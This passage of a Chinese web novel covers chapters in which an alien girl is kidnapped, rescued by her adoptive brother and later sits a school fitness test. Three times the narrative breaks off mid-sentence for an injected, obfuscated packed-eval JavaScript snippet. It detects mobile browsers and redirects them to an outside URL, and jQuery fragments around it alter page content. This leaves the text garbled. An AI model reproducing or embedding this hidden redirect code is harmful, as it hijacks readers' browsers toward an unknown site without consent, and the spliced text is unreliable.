她不清楚这些人为什么要对自己下手,意识昏沉,手脚逐渐不受控制,但白草莓脑海里回想着一句话:不能被抓住。
不能,不能被抓住。
似乎有无数只手攀上来,抓住白草莓的手脚,绊住她的行动。
难受,难受,难受。
白草莓身上的触手不受控地膨胀摇摆,最终在她彻底失去意识之前,一道白色光波爆炸,横扫出去,如海啸一般涤荡万里。
扑上来要抓白草莓的几个人只记得眼前一白,意识便立刻抽离身体,漂浮在空中瞪着眼睛,好像就那么过了一辈子,再恢复意识的时候,他们已经像是炸开后的爆竹屑,分散开,凌乱地躺在地上。
“真是奇怪了。”
最开始露面的那个人清醒过来,把自己浑身上下都摸了个遍,没找到一点伤口,就连刚刚被白草莓摔出来的疼痛都消失殆尽。
其余人陆陆续续都醒了过来,忘了刚刚经历的光波,凑到跟前道:“老大,这女的真奇怪啊,啥时候给我撂倒的,我都不记得了。”
被称作老大的人粗眉一横,怒斥道:“你们一个个都是废物,不就是力气大点的小孩吗?这都按不住,幸亏那迷药管用,不然你自己去跟康少交代吧!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004424|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几人唯唯诺诺地点头,惹恼了哪一个他们都没钱拿。
“愣着干嘛?把人拖进车里,再给她哥打电话要赎金啊,这也要我交代?”老大在几人头上狠狠敲了几下,揉着尾椎一瘸一拐地走了。
白家二楼。
白澜亦书桌前已经亮起台灯,他抬头瞥了眼时间,已经快九点了。刘叔说她下课会补习到七点,两个小时,白草莓就是爬也爬能到家了,但现在还是没有一点消息。
一天到晚,净会给人添麻烦。
他别过头,继续拜读最新的SCI论文,手机却不合时宜地响了起来,备注是猪。
白澜亦松了口气,目光盯住震动的手机,一直等到它即将自动挂断的时候才接起,语气带着几分嘲弄:“你知道现在几点吗?”
“九点整,白少爷。”
对面答话的人变了声,尽管如此,失真的机械声里还是透露出满满的幸灾乐祸。
“你是谁?”
白澜亦握紧了手机,立刻就意识到白草莓有危险,今天刘管家有事请假,他们俩都得自己回家,这种情况之前也不是没有过,谁知道今天白草莓就出了状况。
“你不用管我是谁。晚上十点黑金沙滩,不许报警,你一个人来。”
对方交代完就挂了电话,不给套话的机会。
可他刚给白澜亦打了电话,还没等来康二少,先等来了噩耗。
“老大,那个女的发烧了,她身上巨烫!烫得都能看见火星子。”
“什么?你放屁吧!给她贴个降温贴,要是出了人命,事可就闹大了!”
黑金沙滩在郊区,那边有一块开发商资金链断裂造成的烂尾楼,夜幕底下连成黑压压一片,楼层里透过月光来,像极了一只长满眼睛的巨型蜘蛛。
白澜亦收拾好东西去了黑金沙滩,路上分析起刚刚那通电话。
对方的恐吓话术非常娴熟,有反侦查意识但明显不严谨,说明他们不怕被追踪,或者说就算被找到了也无关痛痒。
另外他们绑了人却没要赎金也没要研究资料,可见这些人不需要白澜亦拥有的身外之物,但还是点名让他一个人露面。
只能说这些人就是要白澜亦,要他这个人。
他正常情况下是不得罪人的,死对头除外。
白澜亦垂眼,在手机里敲出一段信息发给米清,车外惨白的路灯映在白澜亦脸上,他分明没什么表情,四周却结起了冰霜。
这次算是因为他牵连了白草莓。
白草莓现在顾不上计较这些东西,之前那种足以烤干她的渴意卷土重来,月光落在身上就像是高档位微波炉里的微波能量。
可她这周的药明明已经喝掉,病情应该稳定了才对……不,昏迷之前爆释出去的白波,那是她积攒起来的精神力。
地球上除了阳光其他的物质都没法对她的生命活动起关键作用,没了阳光,白草莓只能靠身体里的精神力维持生命体征。
上次精神力枯竭,白草莓在医院里昏迷了五年,要是这次枯竭后再昏迷五年,她怕1223的长老们挺不过虫灾。
“老大,降温贴没有效果,康少已经在来的路上了,要是他看到这情况,尾款……”
老大站在未封闭的窗口前深深吸了口烟,面露狰狞:“都是你出的馊主意,说什么蹲不到这小子可以去逮他妹要挟。还不去把她泡进水缸里!她要是死了吃亏的还是咱们!”
手下挨了一顿熊,只好招呼几个兄弟去楼下搬水:“谁知道她有病……”
白澜亦孤身站在短信里提到的楼底下,看着楼中一点火星明明灭灭,坚定地迈步走上七楼。
11. 11
洁白的运动鞋踩在台阶上,留下一串清晰的印记,白澜亦踏上最后一级台阶,脚步声在空荡的楼道里回响。
他双手揣在外套兜里,目光沉静地看着室内静候的人,该说在这里见到康嘉乐确实不奇怪。
康嘉乐坐在空地中央的电竞椅上,发电机轰隆隆响着,他身后支了个落地灯,明亮的冷光打在身上,他嘴角带着势在必得的笑,手里擦拭着棒球棍。
“白澜亦,在校外见你一面可真难啊。”
白澜亦的发丝被细汗黏住,很快被风吹开,他往前走了两步,鼻梁隔出明暗两侧,嘴唇无声被拉扯平展。
尽管局势敌强我弱,白澜亦的目光依旧冰冷,好像在康嘉乐这里浪费哪怕一秒钟都非常没必要。
康嘉乐最讨厌的就是白澜亦这种态度,在他眼里,众人拥簇的康二少跟空气没什么区别。
气氛一度降到冰点,白澜亦懒得跟他多费口舌,张口要问白草莓的下落:“白草莓……”
“哪儿呢?!哪儿?”
康嘉乐蹭地站了起来,脑袋飞快左右摇摆,拎着棒球棍等了半天也没看见半个人影:“没人,白澜亦,你吓唬谁呢!”
他恼羞成怒,抡起球棍咚一声敲在椅背上,为自己造势。
“你个胆小鬼,想拿白草莓恐吓我?今天这里只有我们两个,我要跟你来一场真男人的决斗。”
他嚣张惯了,从前走哪儿都被人捧着,唯独在白澜亦这里处处受冷眼,放狠话也没被重视,他在白澜亦面前矮了太久,总想着找机会报复回来。
“犯中二病之前,你最好回答我,她人在哪儿?”
白澜亦的语气冷下来,揣在口袋里的手握紧了辣椒水。
绑架威胁的事康嘉乐这二世祖肯定不屑于自己来做,照他的性格,说不定一声令下,就有十多个拿钱办事的小弟蹲守。
白澜亦没什么拳脚功夫,但脑筋绝对够用。
“要人?谁?”康嘉乐皱起眉心,眼睛上下左右四处乱转,撑着球棍不承认:“这儿还有别人吗?”
“有没有别人你比我更清楚,白草莓脑子不太好使,你找的人要是下手没个轻重让她出了什么事,你爸爸知道的话……”
白澜亦慢条斯理地威胁。
康嘉乐无语地撇嘴,一脸黑线,颤抖着手批评白澜亦:“你还是小孩吗?怎么还来告家长这套?”
白澜亦耸肩,好用就行,能够极速解决问题的办法,你管它是3+还是18+。
安静的楼梯里突然多了第三人的脚步声,他一身黑衬衣,袖口挽到胳膊肘,小臂上满是肌肉,大概就是康嘉乐的帮手。
这人露面只扫了白澜亦一眼,急匆匆绕过他走到康嘉乐身边,跟他耳语了几句。
康嘉乐的脸色一下子变了,压低声音问:“你们惹她干什么!”
一想到那个怪力少女,他的肩胛骨都隐隐作痛。
对方解释了几句,康嘉乐瞥了眼白澜亦,这下才闹明白为什么白澜亦一上来就要人。
再往下听,晓得白草莓昏迷不醒,现在就浸在楼上的水缸里。
康嘉乐两眼一黑,捂着胸口倒在椅子上,要是让他老爹晓得这事,他之后一年半都别想出家门了,这伙人到底是谁找来的,专门来坑他的吧!
白澜亦适时开口:“人在哪儿?”
康嘉乐咳了一声,那人报出个楼层:“十一楼。”
白澜亦脚跟一转往楼梯口走,背后响起对讲机的声音,嗡嗡的,楼上立刻传来凌乱的脚步声,一个个擦着白澜亦的肩膀往下跑。
他捏了捏眉心,直觉事情不太妙。
此刻白草莓整个人都被浸在水缸里,有研究称,人可以露出水面的面积是10%,一般正常人选择把头露出来呼吸,但非正常人白草莓选择把她的两只手飘起来,以至于白澜亦找过来的时候还以为她被淹死了。
“喂,白草莓,喂……”
白草莓沉在水里,听不清楚呼唤,意识也不清晰,还以为自己身处灰白色的飞船,兢兢业业地在熟悉的跃迁航线上航行。
“雷达正常,通讯设备正常。”
它,一根乳白色树杈子,每根分枝末端都探出几条长触须,有条不紊地控制着飞船。
它们种群的颜色太浅,光合作用不充分,浪费本就稀缺的阳光资源,后来资源枯竭,无力为继,它们只能靠忙碌的劳动换取营养液以补充各种维生物质。
幸好它特别热爱这项工作,自封为α星系第1223颗行星上最敬业最最熟练的驾驶员,从业以来就没有出过差错。
呃,这次例外。
“一级警报!飞船补给仓故障,能源不足,跃迁中止,建议迫降!”
“跃迁中止,建议迫降!”
“建议迫降!”
刺耳的警报声混着不停闪烁的红光,推进器苟延残喘,造成剧烈颠簸,让人头晕眼花。
白澜亦揪住白草莓的衣领,指头死死掐住她的人中,语气难免重了点:“醒醒,别说胡话了!”
他腾不出手来,只能指挥手机智能助手叫救护车,接线员问了地址,又问起白澜亦伤员的过往病史,有没有急救药?
急救药,这倒是提醒了白澜亦。
他瞥见白草莓被丢在墙角的书包,想起那天她发病也是这样浑身发烫,针对药很有效,或许书包里有多的。
他刚放下白草莓,离开不到两步远,就听见白草莓虚弱的呼唤:“蓝莓……哥……你去哪儿……”
白澜亦满脸是汗,头也不回,说:“拿你的书包。”
书包……
白草莓趴在水缸边上,探出一只手来,五指缓缓收紧,书包被一股无形的力量拉扯,向前挪了一段,而后无力倾倒,砸在白澜亦脚面上。
不可置信。
眼前发生的一切荒谬到白澜亦开始怀疑他自己的眼睛,是他刚刚眼花了吗?
白澜亦怔在原地,不可置信地回头看,白草莓紧闭双眼,还靠在水缸边上不知死活。
他心跳得快要从嘴里吐出来,上手翻找口服液,脑子像是卡了壳,只有本能促使着他行动,思考不了一点。
白澜亦把吸管扎进口服液,递到白草莓嘴边,刚一凑近,她像是寻到真正解渴的水源一样,三两口就喝完了。
不愧是针对药,刚下肚没多久,白草莓的体温也降下来,原本通红的脸重新变得白乎乎。
白澜亦松了口气,她总是这样,好像很容易就会死掉,再一看命又很大的样子。
他想到刚才的一幕脑袋都要炸开。说实话,爱因斯坦来了也给不出合理的解释。
白澜亦揉揉眼睛,白草莓仍旧维持着刚才的姿势,这里又是个堆满建筑垃圾的烂尾楼,没有监控,不存在任何能证明他眼睛没有问题的现代科技。
反倒是由于一遍遍回想这件事,白澜亦开始陷入自我怀疑,是不是白草莓平日里做的那些事太过匪夷所思?又或许是因为她经常宣称要找飞船,所以他的脑筋跟着一起坏掉了。
不等他往下深思,救护车的警报声由远及近,迅速开到烂尾楼下。
幸亏底下这一缸水降温,白草莓这会缓过来了,听见动静看向白澜亦,眼里是十成的信任。
“是我叫的救护车到了。”
白澜亦蹲下身,跟白草莓平视,语气平静:“白草莓,我需要一个解释。”
白草莓缓慢地眨了眨眼,察觉眼前的蓝莓变得不一样了。
*
白草莓在知情书上签下自己的名字,白澜亦站在她身后,大发慈悲地替白
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004425|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
草莓拎包。
救护车收了费,担架氧气通通收回救护车里,又“哎呦哎呦”地开走了。
初冬的夜晚有点凉,幸好下午上了节体育课,白草莓包里装着运动服,不然就这么湿漉漉地回家,一准感冒发烧。
白澜亦现在已经恢复了平常的镇定,把书包往肩膀上一搭,淡淡道:“还没想好怎么骗我?”
白草莓回想起刚刚还迷糊的时候,她似乎当着蓝莓的面用了精神力。
此刻她内心万分纠结,一方面无比想要跟蓝莓讲实话,说她如何经历跃迁故障,艰难控制飞船迫降,又是如何流落地球被父母收养,磕磕绊绊适应新生活。
可是每当坦白的念头飘起来,白草莓就会想起那天晚上,聊起来因公殉职的陈序父母。
那会儿陈序下了车,头也不抬地往暗巷子里钻,留在车厢里的味道又苦又涩,闷得她眼泪都要掉下来。
白草莓逐渐意识到,不止是白澜亦,所有的人类跟她相比都太过脆弱了。
地球内尚且有数不清的意外,地球外更是有某些好斗的种群四处征讨,研究未知事物本来就是危险的,但起码,白草莓不想让白澜亦因为她透露的消息受伤。
白澜亦看她沉默不语,不打算站在风口处顶着风吹,把书包丢进后排,顺势拉开副驾车门,偏头示意白草莓上车。
“这么难想?上车,慢慢想。”
等他们两个回到家里,时间已经快凌晨一点。
要是按平常的作息,白澜亦早就睡了,但今晚却紧紧跟在白草莓身边,寸步不离,哪怕她去洗澡,白澜亦也要守在客厅里等着。
“你打算磨蹭到什么时候?”白澜亦垂眸看了眼手表,“我的耐心只剩最后五分钟。”
躲得过和尚躲不过庙,白草莓捏着睡衣一角,从盥洗室慢吞吞挪出来,蹑手蹑脚地在白澜亦对面坐下。
二人大眼瞪小眼,好一会,还是白草莓败下阵来,先试探着开口:“蓝莓别担心了,你看,我已经好得不能再好了。”
白澜亦对她白草莓总是不如许缨陈序对她有耐心,现在她多少懂了点人情世故,看见白澜亦冷着脸也知道要谨言慎行。
“我有关心你的身体吗?”白澜亦毫不客气地否认,似乎当时在烂尾楼惊慌失措的人是另一个白澜亦。
白草莓现在面色红润,中气十足,经历绑架和发病濒死还能笑得出来,白澜亦由衷佩服她的心态,哪怕不是外星人,白草莓也不是一般地球人。
“飞船驾驶员,是吧?”
白澜亦皱着眉头回忆白草莓的胡话,边说边观察白草莓的微表情,唇角难得挂上点笑意:“你来地球有什么计划?”
“什么驾驶员?什么计划?蓝莓,你在瞎说什么啊?”
白草莓揪住睡衣搓来搓去,心虚的样子换个三岁小孩也能看穿。
白澜亦当然不信,但白草莓打定了主意闭口不言,任凭他如何询问都不开口。
白澜亦摊开双臂,搭在沙发靠背上,舒展身体的同时叹了口气,自我怀疑的味道越来越浓,浓到白草莓以为他终于要相信是自己的眼睛出了问题。
二人无言对视,气氛沉默到能听见月亮轮转的声音。
手机铃声突兀地响起,白澜亦烦躁地搓了搓脸颊,从口袋里摸出手机。
看清联系人,白澜亦咬牙切齿:“米清,现在是凌晨两点钟。”
听见对面的话后,白澜亦瞬间松开眉心,紧接着抬眸望向白草莓,目光里有冷泉涌动。
白草莓忍不住问:“怎么了?”
白澜亦挂断电话,静静看了她两秒钟,缓缓道:“我的实验品受某能量波影响出现毫秒级颤动,时间就发生在你被绑架前后。”
“白草莓,你说,怎么会这么巧?”
12. 12
“巧!我也觉得很巧。不过,事物的联系是普遍的多样的……”
白草莓回想起课上学到的知识,活学活用,认真给白澜亦解释:“或许是什么地方发生地震,地震波影响了你的实验数据?”
白澜亦切身见识到知识是如何修饰一个呆瓜的,可惜白草莓脸上依旧挂着她标志性的甜美微笑,没心没肺,看起来没聪明多少。
“你的脑子终于不是摆设了。”虽然思考跟不思考没什么区别,但好歹转起来了。
白澜亦胸口轻微起伏,叹了口气,不打算继续跟她耗下去,究竟是不是巧合时间会证明一切。
要是白草莓真是非人生物,白澜亦不信她这笨脑瓜子能一点破绽都不露。
见他起身三两步走到门口,白草莓也跟着起来,白澜亦停下脚步,半张脸隐在走廊晦暗的夜色中,神情是一如既往的淡漠:“睡吧,再病我就不管了。”
“好,我有东西给你。”
白草莓赶紧从书包里掏出奶糖,递给白澜亦,这是今天结账那会儿咖啡店老板给她的。
“我不需要。”
白澜亦低垂着眼拒绝,比起吃上颗黏糊糊的糖,他现在只想回房间休息。
白草莓握着一捧草莓奶糖,目光紧随白澜亦出去,撇了下嘴轻声嘟囔。
“蓝莓可真奇怪啊,这也不喜欢,那也不喜欢,难道真有人的爱好是学习吗?”
白澜亦回到房间,桌边的台灯和平板都还亮着,他心里还在想事情,下意识就反锁了门。
听到咯噔一声响,他才回过神,想到这栋房子还住着一个不让人省心的家伙,又转动把手解了锁。
连白澜亦自己似乎也没意识到,要是真讨厌一个人就不会在意她的死活。
他掏出手机打算先给米清打个电话,问问更多消息,谁晓得一摸兜,先摸出两颗草莓糖。
这是什么时候塞进来的,她拿超能力给别人塞糖?
暴殄天物。
白澜亦鼻翼翕动,轻笑一声,拉开书桌右手边那个隐蔽的抽屉,里面零零碎碎放着不少东西,其中就有白草莓带回来的各种“垃圾”。
被艺术家涂鸦过的石头,印着璀璨星河的光栅卡,路边采的现在已经枯萎的花……又多了颗少女心十足的草莓糖。
“我看你哪天离了白家,是真会出去捡破烂。”
白澜亦走到阳台上,仰起头凝视漆黑夜空,宇宙精致得像块高级的黑绒哑光画布,即使再暗沉的星星点在上面也会变得耀眼明亮。
星河浩瀚,穹宇无垠,神秘却偶尔压得人喘不过气,白澜亦常常在想,如果有一个星球上面的白天连着白天,从来不会有黑夜就好了。
*
许缨把一杯热牛奶放在白草莓面前。
白草莓听见声响把脑袋从书里拔出来,顶着微弱的阳光,神情恍惚地说了声谢谢。
许缨看她这么些天来还真就埋头苦学,忍不住调侃:“怎么啦?白大学霸的光环太耀眼,你待在底下不见天日?”
白澜亦打从进绿江一私的那天起就是焦点人物,被他衬得黯淡无光的人可太多了。输给他,压根无需自卑。
白草莓当然没想过赶超白澜亦,她只是在思考那天究竟为什么发病,瓶盖在她手心里空转了两圈也没被拧开。
许缨瞟了一眼,说着真稀奇:“诶,怪力少女这几天怎么回事,无精打采的,今天竟然连瓶盖都拧不开了?喏,你喝这瓶吧。”
说完,许缨把自己手上拧开的牛奶递给她,白草莓接过来抿了一口,顺势把头抵在许缨腰侧:“或许是因为我的能量被消耗完了。”
白草莓这么说也没错,那天她在察觉到危险后,身体自行将积攒的精神力瞬间爆发出去,虽然成功让那些歹徒陷入短暂昏迷,但也留下了后遗症,剩余的精神力只能精打细算来用。
“真是个小可怜。”
许缨摸摸白草莓的后脑勺,头发又软又顺滑,每次一揉起来就舍不得松手:“要不等会儿的体育课你请假吧?这样子能体测吗?”
“体测?什么体测?”
许缨耸耸肩,异常无力地苦笑:“是我的劫,呜呜呜呜。”
许缨那张一向无所畏惧青春洋溢的面庞逐渐变得扭曲,她将眉毛眼睛拧在一起,难过得就差掉下几滴晶莹剔透的眼泪来。
白草莓轻轻拽着她的衣角,看得心惊胆战,对“体测”二字生出一股莫名的敬畏感。
敬。
“应该不会出人命吧?”白草莓犹豫开口。
许缨抬起脸,四十五度仰望天空,神情忧郁,泫然欲泣:“将死未死,想死不能死。”
白草莓茫然地眨了眨眼,忽而狠狠打了个冷战:“嘶,听着怪吓人的。”
敬,而远之。
忽然,许缨笑着捏捏白草莓的小圆脸:“不逗你了,放宽心,就是800米、跳远、跳绳之类的,没通过还有补测机会。”
体测是大多数学生都难以逃避的“酷刑”,一整个上午教室里的气压都很低,偶尔还能听见一声极具灵性的叹息。
这声叹息一路从腹腔胸腔传递到口腔乃至天灵盖,抒发了叹息者郁闷至极的心情。
那些肉眼看不见的哀怨像是孤魂野鬼般游荡在室内,刚从冷冻柜里捞出来一样,冷得让白草莓的触手都难得缩成一团贴在脖子上,急需吸收阳光重启。
是以当体育课真的到来时,白草莓迫不及待地冲出门去,张开双臂接受阳光的洗礼。
能拥抱这么温暖的阳光,真是太好了。
许缨慢悠悠跟在她身后,浅浅笑着,看她在那儿举着手犯傻。
嗯,也不算犯傻吧,许缨歪了下脑袋纠正自己的措辞,应该说她率真可爱。
“怎么又要体测啊,开学那会儿不是测过了?跑完八百米,我嗓子疼了三天,呼吸都能闻到血腥味,难受死了,真烦人。”
杨筝扶着栏杆正在做拉伸运动,她也不乐意体测,听见这样的抱怨声心里腾起一股无名火:“不想测就跟老师打申请,保底60分,回教室睡你的大觉去。”
“喂,我跟你说话了吗?你什么意思啊?”莫名其妙被她呛了一口的女生也委屈起来,难受归难受,但谁说不跑了?
大家都知道体测成绩最后会按比例折算在综合测试里,综合成绩又是后续分配班级和竞赛名额的主要参考标准,尽管它占比不高,但没有谁愿意让它拖后腿。
“诶,有人吵起来了。”
白草莓跟许缨凑在一起,两个脑袋瓜贴得紧紧的,虽然不清楚发生了什么,但不耽误她俩瞪大眼睛看热闹。
今天的体育课在室外,人也格外多,因为前两天下雨,有些班的课就往后顺延,正好凑到一块,争执一起来,少说也有三四十双眼睛往这里看。
杨筝被这么多眼睛注视着,慢慢也冷静下来,深呼吸后跟这位同学道了歉:“对不起,是我的语气太冲了,祝你体测取得好成绩。”
有人为这件事服软,双方剑拔弩张的氛围突然就淡了。
杨筝还在懊恼刚才的冲动,一转头看见白草莓跟许缨两个脑袋贴在一块,认认真真看她的热闹,咬了咬腮帮子,虚张声势地瞪了一眼过去。
白草莓:瞪你?
许缨:是瞪咱俩。
“走吧走吧,准备上体育课了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004426|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这里没什么热闹可看,周围人又该干嘛干嘛去了。
白草莓找了个没人的草坪躺下,这里的阳光最强烈,连许缨都避之不及,蹲在她边上的树荫底下。
许缨看她一脸陶醉的样子,没忍住调侃道:“白草莓,我觉得你应该改个名字。”
白草莓双眼紧闭,脸上挂着大大的笑,脸颊红彤彤的,真跟喝醉酒了一样。
“改成什么?”
现在这个名字是妈妈取的,她说白草莓长得白嫩嫩粉嘟嘟,叫草莓最合适了。
“我看就改成向日葵吧。”
陈序的声音突然从白草莓头顶上传出来,随后温暖的阳光就被遮了个大半。
她睁开眼睛往上看,陈序的心情似乎很不错,笑得比之前真心实意多了,站在一边抱着个篮球团来团去。
“真巧,你们班的体育课也改到今天了?”许缨捡了片完整的枯叶挡在眉毛上,正正好把刺眼的阳光全都遮住。
她不喜欢这么刺眼的太阳光,估计也就白草莓能顶着晒,心宽得很,一点不像普通青春期的女生,完全不担心自己会晒黑。
“是啊,上次差点被淋成落汤鸡。”
陈序把篮球往地上一拍,篮球弹起来又被稳稳接住,停在手上时还在高速旋转,仔细一瞧还是拿一根手指接住的。篮球也是,学习也是,好像什么事到了陈序手里就没有掌握不了的。
原来地球上也有这么多全能选手。
“最近有什么人欠收拾吗?我帮你在篮球场上暴扣他,按着摩擦。老价格,五百块。”
陈序这话是对着许缨说的,刚入学那会总有些脑子里有泡的家伙骚扰许缨,正巧陈序打出招牌来“一手交钱一手平事”,二人一拍即合,就这么认识了。
说起来,许缨还算他的老主顾。
五百块?白草莓托着腮回想,陈序只问她要三百,看来确实是打了折。
许缨耸了下肩,不以为意:“哼,老价格?你现在宰人都这么光明正大了?”
陈序咧嘴笑笑,不觉得哪里有问题:“买卖不就是一个愿打一个愿挨?这节课接的单还给我七百呢。这样吧,以后要是需要帮忙,一定找我,给你打折。”
算了吧,陈序口中的打折也就比反向抹零厚道那么一丢丢。
陈序没接到新的订单也没泄气,前两天接到医生的短信,说是奶奶的病情奇迹般的有所好转。
这可是天大的好消息,他不用那么死命挣钱是一回事,要是运气再好点,没过多久就有特效药面世的话,那陈序的心就可以彻底放回肚子里了。
“白向日葵,今天有空一对一教学吗?”
陈序低头看了眼白草莓圆滚滚的脑袋,风吹得发丝轻晃,半天没得到她的回复。
他在白草莓身边蹲下,才发现她双臂抱膝,面露悲伤,盯着塑胶跑道不知道神游了多久。
“白草莓。”
“白草莓?”
许缨戳了戳她的侧腰,白草莓才浑身一激灵,大梦初醒一样扭过头,望着眼前俩人无辜的“啊?”了一声。
陈序看出她有心事,还想趁机再宣传一下自己“知心大哥倾诉服务”,看在她是大顾客的份上,首次不收费。
“许缨,白草莓!”操场中央传来几声呼唤,是体育委员拿着记录板招呼她们回去。
“体测要开始了,快点归队!”
“知道啦!”许缨应了一声,挽起白草莓的胳膊把她从地上薅起来,两个人肩并肩跑走了。
陈序目送她俩融进人群里,回过神来,漫不经心地拍了几下篮球。
白草莓这么没心眼的人,也会有皱着眉头难过的时候?
13. 13
白草莓跟着队伍在操场跑了两圈,还没热好身就被体育老师挑出来当助手。
现在各位老师眼里的白草莓就是个脆皮,力气大是大,但是脑袋受到重创不太灵光,别出什么事就好。
体育老师更不敢折腾这位病号,白草莓也接受60的体测基础分,抱着记录本兢兢业业帮忙。
“顾月,9CM。”
嗯,及格了。
“丁梦云,18CM。”
满分,很厉害。
“冉毅,﹣14CM。”
这位同学成绩一出来,周围都是乐呵呵的打趣声,白草莓如实记下数据,没意识到好笑的地方。
突然不远处篮球场上爆发出一阵惊雷般的喝彩,把体测这边学生的注意力全都吸引过去。
只见陈序一个大跳单手扣篮,身形矫健得像只灵活的豹子。
可惜这个球在离球框两厘米的地方被一只手给挡了下来。
惋惜的声音还没传过来,就看见陈序再度起跳,成功抢下篮板,双手结结实实把篮球扣了进去,这次的喝彩排山倒海地扑过来,震得人忍不住侧过脑袋。
许缨将下巴搁在白草莓肩膀上,啧啧摇头:“这家伙,为了七百真是不怕得罪人。”
陈序应该是接了所谓的“报复单”,在球场上简直是按着对手打,尤其针对某个人,专门抢他手里的球,敬业得不像甲方要求,像是他本人跟这人有仇一样。
怪不得白草莓之前看见过他鼻青脸肿的样子,这么嚣张不挨揍才怪。
“我有没有跟你提过陈序的事?哎,我听说他这么卖力挣钱是因为他奶奶得了一种罕见的免疫系统疾病,暂时没有药物能彻底治疗,他竟然想搭个实验室自己研究。”
许缨有些唏嘘,“这种自研药救人的事也不是没有,但他就一个人,哪来这么大的魄力?”
白草莓听得一知半解,附和点头:“你要是病了,我也会像他这样救你。”
“我谢谢你。”许缨哭笑不得,捏住白草莓的脸颊让她连呸三声:“心意我领了,但以后不许说这么不吉利的话了。”
“好。”白草莓郑重承诺。
这会该测的都测完了,就剩下老大难“八百米”,白草莓坐在台阶上百无聊赖数着圈数,对面是进行得热火朝天的篮球赛。
白草莓伸了个懒腰,活动活动筋骨,不清楚是不是因为今天的太阳过于明媚,她总觉得恢复的能量比以前要多,以至于胸口有些说不出来的闷。
等三四五分钟女生的八百米全都跑完,没有谁不是累倒在地上喘着粗气的。
白草莓填好数据把表上交给体育老师,回来的时候就看见陈序跟他的队员在忙着给同学们派水。
“别客气。”陈序顺手给她递来一瓶:“是战利品,不收费。”
白草莓接过来,刚扬起个笑还没来得及说话,忽然被一声呼唤打断。
“陈序。”
“这边还缺两瓶。”杨筝怀里抱着几瓶水,显然也是在帮他们发水。
“你直接去箱子里拿吧。”
“在哪里?”
白草莓见他们俩自顾自聊起来,那种被人忽视的强烈不安又要把她给笼罩起来了。
她下意识寻找许缨的位置,看她躲在阴凉地恢复元气,迈开步子想要跟许缨汇合,谁知运动服的后衣领忽然一紧,她被人捏着衣角拉了回来。
“你跑什么?”陈序只是一个没注意,差点就让她溜走了。
“我没跑啊。”白草莓确信,她刚刚是准备走的。
“行,你没跑。”陈序拿过白草莓手里的水,拧开之后又递回去,做得极其顺手:“今天有空补习吗?”
他当初答应白草莓要把她培养成年级第一,现在白草莓学起来三天打鱼两天晒网,虽然说有天气原因,但到时候没达成目标的话,尾款他是照单全收呢,还是打个九九折?
“好啊,还是老地方见?”
白草莓这几天也是有在好好学的,不仅能理解数学书里的函数题,书房里面那些天文地理化学物理她也能看懂一些了。
她还学会了英文的虚拟语气,哪怕飞船落在国外也不怕,就是词汇太多了,暂时没有记下来。
要是能量都像今天这样累积的话,说不定她能长更多的触手,记住更多东西,没准跟飞船的感应力也能增强呢?
“你们,在校外补习?”杨筝听见他们俩的聊天内容,没忍住多问了一句。
要知道陈序是现高一文化成绩霸榜者,白草莓又不缺钱花,他们两个都认可的老师一定非常有实力,要是她能跟着一起上课,以后学习肯定事半功倍。
“不是。”
“对啊。”
谁知道陈序跟白草莓两个人的答案完全不一样,白草莓奇怪地看了眼陈序,心想杨筝说的也没错啊。
陈序抱起胳膊,无意识摆出一副防备的姿态,懒散地解释说:“我就是她的老师,你要想来听,可以跟她平摊补课费。”
杨筝眼神一亮,陈序也行啊,他的思路虽然难懂,但是跟竞赛的模板没什么两样,跟着他学也能少走弯路。
“好啊,没问题。”
陈序看劝不退她,干脆报了个金额出来。
这下轮到杨筝目瞪口呆,先是怀疑了自己的耳朵,再是怀疑白草莓缺心眼,最后怀疑陈序,课后一对一就收这么多钱,他良心没问题吗?
忽然意识到什么,杨筝脸上的笑逐渐挂不住。
怪不得之前陈序几乎不给她答疑,他从来就不是什么助人为乐的人,任何时间都要跟与之收获的金额匹敌。
他才不是本部学生的光,就是个卑劣又市侩的奸商预备役。
白草莓缩了缩脖子,这人的情绪怎么能变得这么快?
陈序没继续呆在这里,丢下一句“咖啡店见”,双手揣兜走了。
杨筝还站在原地愣神,白草莓默默往边上挪了两步离开她的视线,否则浓稠的伤心就要把她给包裹住了。
“白草莓,我讨厌你!”
说完,杨筝扭头就跑走了。
白草莓一时睁大了眼睛:!
讨厌我?!为什么要讨厌我?!!
她百思不得其解,只能把这种无比复杂的,艰涩难懂的情绪归结为“人类独有”,她作为外星生物,不理解也正常。
下午有节活动课,许缨打算去烘焙教室烤两块小蛋糕,问白草莓去不去。
白草莓嘴里噙了根笔,一手支着下巴,一手按着物理书,上面的例题她还没思考出个结果来:“我不去了,整理点不懂的题,等会去见陈序。”
